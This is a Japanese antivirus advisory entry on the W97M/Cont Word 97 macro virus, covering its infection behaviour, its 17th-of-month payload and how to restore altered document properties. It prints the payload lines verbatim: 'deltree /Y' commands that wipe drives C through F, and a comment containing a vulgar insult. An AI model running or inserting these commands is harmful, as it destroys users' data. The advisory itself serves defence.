ウイルス情報

ウイルス名

W97M/Cont

危険度
対応定義ファイル 4036 (現在7628)
対応エンジン  (現在5600) 
エンジンバージョンの見分け方
別名 Cont, W97M.Automat.H
発見日(米国日付) 99/07/16


Word97文書に感染する。Word97のSR-1リリースで自己複製が可能。またWord97のマクロ警告機能をオフにする。このウイルスの発病ルーチンは毎月17日に発動し、以下の行をC:\Autoexec.batに追加して、次回の起動時にドライブfから始まりすべてのサブディレクトリの削除を試みる。

deltree /Y f:\*
deltree /Y e:\*
deltree /Y d:\*
deltree /Y c:\*
rem Created by Dream Blaster
rem Minny, you are simply a bitch

またこのウイルスは3分の1の確立で、文書のプロパティの作成者をDream Blasterに、タイトルをMacro Carrierに、キーワードをMinnyに改変する。これら改変はウイルス駆除を行っても、VirusScanがオリジナルの内容を知らないため元には戻らない。これら改変を元に戻すには、その文書を開き、ファイル → プロパティを選択する。

このウイルスはThisDocumentというモジュールで構成されている。このマクロウイルスはWordのnormal.dotファイルに感染する。